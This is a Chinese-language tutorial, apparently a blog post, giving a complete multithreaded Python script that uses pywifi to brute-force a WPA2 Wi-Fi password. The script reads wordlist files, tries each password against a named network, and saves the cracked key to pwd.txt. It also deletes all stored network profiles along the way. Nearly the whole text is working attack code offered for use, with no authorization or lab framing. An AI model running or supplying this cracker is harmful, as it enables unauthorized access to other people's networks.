介绍
注:多线程实现必须是电脑带有多个无线网卡!
1.使用模块:os、threading、time、pywifi和pywifi中的const
2.准备工作:带无线网卡的电脑、python3.7的开发环境、密码本
3.基本流程:
(1)读取电脑无线网卡数目,获取每一张网卡对象
(2)为每一个网卡对象创建线程
(3)读取密码本文件夹下的每一个密码txt文件
(4)每条线程对不同的密码本进行读取
(5)每条线程对同一个wifi进行验证
(6)某一条线程连接成功,终止其他线程
(7)将密码存入pwd.txt文件下
各个模块
1.初始化类
def __init__(self, wifiName, filePath):
self.tag = False # 设置全局标记,提供每条线程读取,用来表示是否已破解出密码
self.wifiName = wifiName # 待破解的wifi名称
self.filePath = filePath # 密码本文件夹的位置
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.ifaces = wifi.interfaces() # 获取无线网卡,list类型,多个网卡对象组成
for i in self.ifaces:
i.disconnect() # 断开所有无线连接
密码本文件夹格式:
2.密码本文件分发
将密码本文件夹下的密码(txt)文件分发给每个无线网卡,不同网卡使用同一个密码文件
def getPasswordFileList(self, num, l):
# 生成每个网卡对象将要使用的密码本列表
files = []
fileList = os.listdir(self.filePath)
#print(fileList)
while num < len(fileList):
files.append(fileList[num])
num += l
return files
3.连接函数
用于每一个密码的尝试,需要pwd(密码)、iface(网卡对象)
若破解成功,将tag设成Ture,以告知其他线程破解成功,从而结束所有线程
def connect(self, pwd, iface):
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = self.wifiName # 要连接WiFi的名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wps
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 调用密码
iface.remove_all_network_profiles() # 删除所有连接过的wifi文件
tmp_profile = iface.add_network_profile(profile) # 设定新的连接文件
iface.connect(tmp_profile) # 连接wifi
time.sleep(3.5)
if iface.status() == const.IFACE_CONNECTED: # 判断是否成功连接
self.tag = True # 若破解成功,将tag设成Ture,以告知其他线程破解成功
f = open("pwd.txt", 'w') # 若破解成功,将密码存进pwd.txt文件下
f.write(pwd)
print("----------------密码已破解!-------------------")
iface.disconnect()
time.sleep(0.5)
4.密码读取
根据getPasswordFileList函数对每一个网卡对象分发的密码本文件,进行逐一的读取。
def readPassword(self, pfl, iface):
for pf in pfl: # 读取getPasswordFileList函数对每一个网卡对象分发的密码本文件
if self.tag is True: # 判断是否有线程已经破解,若有则直接跳出结束
break
path = self.filePath + "\\" + pf # 组合当前密码本文件的路径
file = open(path, "r")
while True:
pwd = file.readline() # 逐行读取密码
self.connect(pwd.strip(), iface) # 传入连接函数进行破解
if self.tag is True: # 判断密码是否正确
break
elif pwd == '': # 若当前密码文件(txt)尝试完没有密码,则跳出,换下一个密码文件
print(pf + "没有密码!")
break
else:
print("破解中...: " + pwd, end='')
5.主函数
根据网卡数量,开启子线程进行破解。
def main(self):
wifiLength = len(self.ifaces) # 获取无线网卡数量
for i in range(wifiLength):
if self.tag is False: # 判断是否已经破解
passwordFileList = self.getPasswordFileList(i, wifiLength)
th = threading.Thread(target=self.readPassword, args=(passwordFileList, self.ifaces[i]))
# 开启破解线程
th.start()
# print(passwordFileList)
总代码
# -*- coding:utf-8 -*-
import os
import threading
import time
import pywifi
from pywifi import const
class NewWifi(object):
def __init__(self, wifiName, filePath):
self.tag = False
self.wifiName = wifiName
self.filePath = filePath
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.ifaces = wifi.interfaces() # 获取无线网卡,list类型
for i in self.ifaces:
i.disconnect() # 断开所有无线连接
def readPassword(self, pfl, iface):
for pf in pfl:
if self.tag is True:
break
path = self.filePath + "\\" + pf
file = open(path, "r")
while True:
pwd = file.readline()
self.connect(pwd.strip(), iface)
if self.tag is True:
break
elif pwd == '':
print(pf + "没有密码!")
break
else:
print("破解中...: " + pwd, end='')
def connect(self, pwd, iface):
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = self.wifiName # 要连接WiFi的名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wps
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 调用密码
iface.remove_all_network_profiles() # 删除所有连接过的wifi文件
tmp_profile = iface.add_network_profile(profile) # 设定新的连接文件
iface.connect(tmp_profile) # 连接wifi
time.sleep(3.5)
if iface.status() == const.IFACE_CONNECTED: # 判断是否成功连接
self.tag = True
f = open("pwd.txt", 'w')
f.write(pwd)
print("----------------密码已破解!-------------------")
iface.disconnect()
time.sleep(0.5)
def getPasswordFileList(self, num, l):
files = []
fileList = os.listdir(self.filePath)
#print(fileList)
while num < len(fileList):
files.append(fileList[num])
num += l
return files
def main(self):
wifiLength = len(self.ifaces)
for i in range(wifiLength):
if self.tag is False:
passwordFileList = self.getPasswordFileList(i, wifiLength)
th = threading.Thread(target=self.readPassword, args=(passwordFileList, self.ifaces[i]))
th.start()
# print(passwordFileList)
if __name__ == '__main__':
nw = NewWifi('CMCC-udKg', 'passwordList') # CMCC-udKg
nw.main()
希望对你们有所帮助!如有错误,感谢指出!